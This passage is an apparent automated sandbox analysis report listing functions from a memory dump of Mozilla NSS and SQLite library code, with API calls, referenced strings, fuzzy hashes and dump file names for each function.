PR_NewLock.NSS3 ref: 6CEF68A5

Part of subcall function 6CF298D0: calloc.MOZGLUE(00000001,00000084,6CE50936,00000001,?,6CE5102C), ref: 6CF298E5

PR_NewLock.NSS3 ref: 6CEF68B4

Part of subcall function 6CF298D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF29946
Part of subcall function 6CF298D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDE16B7,00000000), ref: 6CF2994E
Part of subcall function 6CF298D0: free.MOZGLUE(00000000), ref: 6CF2995E

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Monitor$ErrorLockcalloc$CondCountCriticalInitializeLastSectionSpinfree$mallocstrcpystrlen
String ID:
API String ID: 200661885-0
Opcode ID: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction ID: 646f9cda08c41534f5915567ade4043fab57a5b68472ebc8fcacf114275488b8
Opcode Fuzzy Hash: 289164870b0241f1459d04b869d0ad02f02522978031b45694acd8a1dd060f96
Instruction Fuzzy Hash: 5401BBB0A05B4B5BE7516FB948103EB7AF99F0238CF64043E8479C6B40EF75D4098BA1

Function 6CE4AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE4AFDA

Strings

misuse, xrefs: 6CE4AFCE
unable to delete/modify collation sequence due to active statements, xrefs: 6CE4AF5C
%s at line %d of [%.10s], xrefs: 6CE4AFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE4AFC4

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: eca9a41ea9e9e9dc2b23912dec5881a59b3a9b0ed9a40fde16b7610ec17029c3
Instruction ID: a2170a7fa14285358ee5737c54e6863c26d9de8ce44d236ec1b9471824d8d65b
Opcode Fuzzy Hash: eca9a41ea9e9e9dc2b23912dec5881a59b3a9b0ed9a40fde16b7610ec17029c3
Instruction Fuzzy Hash: 7091F275B402158FDB04CF59D850BAEB7F1BF45328F2984A8E865AB791D335ED02CB60

Function 6CEAFC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CEAFC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEAFCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEAFDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CEAFDDE

Part of subcall function 6CEB8800: TlsGetValue.KERNEL32(?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8821
Part of subcall function 6CEB8800: TlsGetValue.KERNEL32(?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB883D
Part of subcall function 6CEB8800: EnterCriticalSection.KERNEL32(?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8856
Part of subcall function 6CEB8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CEB8887
Part of subcall function 6CEB8800: PR_Unlock.NSS3(?,?,?,?,6CEC085A,00000000,?,6CE68369,?), ref: 6CEB8899

Strings

pkcs11:, xrefs: 6CEAFC4F

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: e18a23fcfb2626fdb30c434b52e35084eb15edc03b0401667a84427cfadd54f2
Instruction ID: 79abadd4361408616f653df4f08138b655350256363d632e11c2b3b6c85bcdff
Opcode Fuzzy Hash: e18a23fcfb2626fdb30c434b52e35084eb15edc03b0401667a84427cfadd54f2
Instruction Fuzzy Hash: CB51C1B1B00112AFEB118BA59D40B6A7375EF4135DF350129D9046FB52EB39E907CB92

Function 6CE749C0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 6CE74860: SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE74894

PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CE76361,?,?,?), ref: 6CE74A8F
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,6CE76361,?,?,?), ref: 6CE74AD0

Strings

acl, xrefs: 6CE749FB
acl, xrefs: 6CE74AB4
^jl, xrefs: 6CE749C5

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Error$DecodeItem_QuickUtil
String ID: ^jl$acl$acl
API String ID: 1982233058-1380582392
Opcode ID: 394588ec8084be2044586d18a148a91ced938f4d93c9577690773534581566ae
Instruction ID: fbab8d7d58f77ad40da0c581c9d0db56d44615e242402544d6e0c34c0388b22a
Opcode Fuzzy Hash: 394588ec8084be2044586d18a148a91ced938f4d93c9577690773534581566ae
Instruction Fuzzy Hash: BB31B670A0410A97EF208A48EC90B6E7375DB8231CF704A2BD515B7BC1E6349946CBBA

Function 6CDEBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CDEBE02

Part of subcall function 6CF19C40: memcmp.VCRUNTIME140(?,00000000,6CDEC52B), ref: 6CF19D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDEBE9F

Strings

%s at line %d of [%.10s], xrefs: 6CDEBE98
database corruption, xrefs: 6CDEBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDEBE89

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 4af5f4d64cda4dc79cfa1e718f7967c0b155589e2409978cefb4b27ca9e784fb
Instruction ID: 30e9b6d524a1d3e4759bdb62a0ce641a145b75715cb67852554a01b8a6dc37cc
Opcode Fuzzy Hash: 4af5f4d64cda4dc79cfa1e718f7967c0b155589e2409978cefb4b27ca9e784fb
Instruction Fuzzy Hash: 1F313931B04755ABC700CF69C8D4AABBBA1AF4AB14B088555EE941BAE1D371FD04C7D4

Function 6CF0A8F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CEF2AE9,00000000,0000065C), ref: 6CF0A91D

Part of subcall function 6CEAADC0: TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE10
Part of subcall function 6CEAADC0: EnterCriticalSection.KERNEL32(?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE24
Part of subcall function 6CEAADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE8D079,00000000,00000001), ref: 6CEAAE5A
Part of subcall function 6CEAADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE6F
Part of subcall function 6CEAADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE7F
Part of subcall function 6CEAADC0: TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEB1
Part of subcall function 6CEAADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEC9

PK11_FreeSymKey.NSS3(?,00000000,00000000,?,?,6CEF2AE9,00000000,0000065C), ref: 6CF0A934
SECITEM_ZfreeItem_Util.NSS3(?,00000000,00000000,00000000,?,?,6CEF2AE9,00000000,0000065C), ref: 6CF0A949
free.MOZGLUE(?,00000000,0000065C), ref: 6CF0A952

Strings

*l, xrefs: 6CF0A8F6

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: *l
API String ID: 1595327144-2445014310
Opcode ID: 9884503f6994a262c65b32e385a4ebb3be44b703ff99c0a1543432169102e71f
Instruction ID: eb02c487ab1939b1a063a9bb5ad97a6644c36607bedf949f2486d05073580a21
Opcode Fuzzy Hash: 9884503f6994a262c65b32e385a4ebb3be44b703ff99c0a1543432169102e71f
Instruction Fuzzy Hash: 9C3137B57016019FDB04CF28D990E62BBF8FF48758B1582A9E8098F756E730E811CFA1

Function 6CE61EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CE64C64,?,-00000004), ref: 6CE61EE2

Part of subcall function 6CEC1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CE61D97,?,?), ref: 6CEC1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE64C64,?,-00000004), ref: 6CE61F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CE64C64,?,-00000004), ref: 6CE61F37
DER_DecodeTimeChoice_Util.NSS3(?,dLl,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE64C64,?,-00000004), ref: 6CE61F53

Strings

dLl, xrefs: 6CE61F2B, 6CE61F51

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLl
API String ID: 3216063065-3939847266
Opcode ID: afb2bbce46d4b80a818772fe089993de175de2e97e04fb2b2cbd74dae5a85a46
Instruction ID: e7497aa6e19b9693375cd2a10b93130238e59e4890af14108d999a34679fc5bd
Opcode Fuzzy Hash: afb2bbce46d4b80a818772fe089993de175de2e97e04fb2b2cbd74dae5a85a46
Instruction Fuzzy Hash: CB218372528215AFC701CEA6DD41A9BB7F9AF85699F10092DE854C3B40F330E519C7D3

Function 6CF3A800 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001,?,?,?,?,?,?,?,?,6CE07915,?,?), ref: 6CF3A86D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010800,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,6CE07915,?,?), ref: 6CF3A8A6

Strings

%s at line %d of [%.10s], xrefs: 6CF3A8A0
database corruption, xrefs: 6CF3A89B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF3A891

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d1a2dd25ef19c287fc8a380f4636b1a353fcf8291325b8e0e94488f5c7dd2fa7
Instruction ID: 675b340cb8dc329763ddc09488907cc2d6401bf71ab4dbf78afae4c9f031bc33
Opcode Fuzzy Hash: d1a2dd25ef19c287fc8a380f4636b1a353fcf8291325b8e0e94488f5c7dd2fa7
Instruction Fuzzy Hash: A011D372A00214BBDB048F52DC41AAAB7E5FF49314F108439FD194BA90EB35AD16CBD6

Function 6CE50DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE50BDE), ref: 6CE50DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE50BDE), ref: 6CE50DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE50BDE), ref: 6CE50DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE50BDE), ref: 6CE50E32

Strings

%s incr => %d (find lib), xrefs: 6CE50E2D

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2def9e872365b93462556835d2e7bd587434955c8cca49f53f9b489d9102a739
Instruction ID: a224889b92a06362d51e7142b9498beb6b77838ad6ae225606a06dcb0ea79ea2
Opcode Fuzzy Hash: 2def9e872365b93462556835d2e7bd587434955c8cca49f53f9b489d9102a739
Instruction Fuzzy Hash: 6501F172B002149FEA208F249C45E1773B8DB45A0CB64442EE909D3B41EB62ED2486E1

Function 6CF0AC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CEE6AC6,?), ref: 6CF0AC2D

Part of subcall function 6CEAADC0: TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE10
Part of subcall function 6CEAADC0: EnterCriticalSection.KERNEL32(?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE24
Part of subcall function 6CEAADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6CE8D079,00000000,00000001), ref: 6CEAAE5A
Part of subcall function 6CEAADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE6F
Part of subcall function 6CEAADC0: free.MOZGLUE(85145F8B,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAE7F
Part of subcall function 6CEAADC0: TlsGetValue.KERNEL32(?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEB1
Part of subcall function 6CEAADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE8CDBB,?,6CE8D079,00000000,00000001), ref: 6CEAAEC9

PK11_FreeSymKey.NSS3(?,@]l,00000000,?,?,6CEE6AC6,?), ref: 6CF0AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]l,00000000,?,?,6CEE6AC6,?), ref: 6CF0AC59
free.MOZGLUE(8CB6FF01,6CEE6AC6,?,?,?,?,?,?,?,?,?,?,6CEF5D40,00000000,?,6CEFAAD4), ref: 6CF0AC62

Strings

@]l, xrefs: 6CF0AC05

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]l
API String ID: 1595327144-728282480
Opcode ID: 9faae6f4d647ef3e734d690302653e0c76916472c2ad236e97ab1b161ec53a41
Instruction ID: 7f8441ca3eb713ec9e90aebb1991e83711ce1b5705805b1951dc5913115655f5
Opcode Fuzzy Hash: 9faae6f4d647ef3e734d690302653e0c76916472c2ad236e97ab1b161ec53a41
Instruction Fuzzy Hash: FF018BB56002009FDB00CF28E9D0B467BF8AF04B5CF18C068E8499F706D730E848CBA1

Function 6CDF9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CDF9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CDF9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDF9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDF9DDE

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 35fc4e6d62d9ff76454bbbcf3af445dd191d662e6371c0d6e06bf3a50e15a905
Instruction ID: 7b3d73c0b78e1a7f47b1793e9c1e23067fb0e8e9bb4e44e7f91c4d4ee959b4e1
Opcode Fuzzy Hash: 35fc4e6d62d9ff76454bbbcf3af445dd191d662e6371c0d6e06bf3a50e15a905
Instruction Fuzzy Hash: 45A1B271F54100CBEB48AF24E89877F3B75BF82314F1A012DD42647A64DB39D956CB92

Function 6CF0DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF0DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CF0DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CF0DE77

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 42cce693f32e3c782ea8b1460575493e8b28250755864655a5d469cb991bdaea
Instruction ID: 3369fa9a4d209537fd61059316266f878b4fed6c727fd71b90c34b3ca6a0726a
Opcode Fuzzy Hash: 42cce693f32e3c782ea8b1460575493e8b28250755864655a5d469cb991bdaea
Instruction Fuzzy Hash: 75716571A01318CFDB10CF9AC9E079AB7B4BF89B18F25816DD9596B702D770A941CF90

Function 6CE8BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE8BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE8BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE69F71,?,?,00000000), ref: 6CE8BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE8BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE8C014

Memory Dump Source

Source File: 00000000.00000002.1919935270.000000006CDE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 00000000.00000002.1919888038.000000006CDE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920273669.000000006CF7F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920346855.000000006CFBE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920380866.000000006CFBF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920425430.000000006CFC0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1920470660.000000006CFC5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cde0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 828d06f6565e73a5eace477973461b6283e7c97e28380a9d49bbe15110654b6e
Instruction ID: 344a8de7592c120e748219a955dc9129314d33f3115592ad2e2ff7ceddcdb58e
Opcode Fuzzy Hash: 828d06f6565e73a5eace477973461b6283e7c97e28380a9d49bbe15110654b6e
Instruction Fuzzy Hash: 6D41B275E022059BEB10CE69CC81BBA73B9AF4524CF314128E81DE7B41FB31D905CBA1

Function 6CE7C9E0 Relevance: 7.6, APIs: 5, Instructions: 132COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,00000000), ref: 6CE7CA21
EnterCriticalSection.KERNEL32(0000001C), ref: 6CE7CA35
PR_Unlock.NSS3(00000000), ref: 6CE7CA66
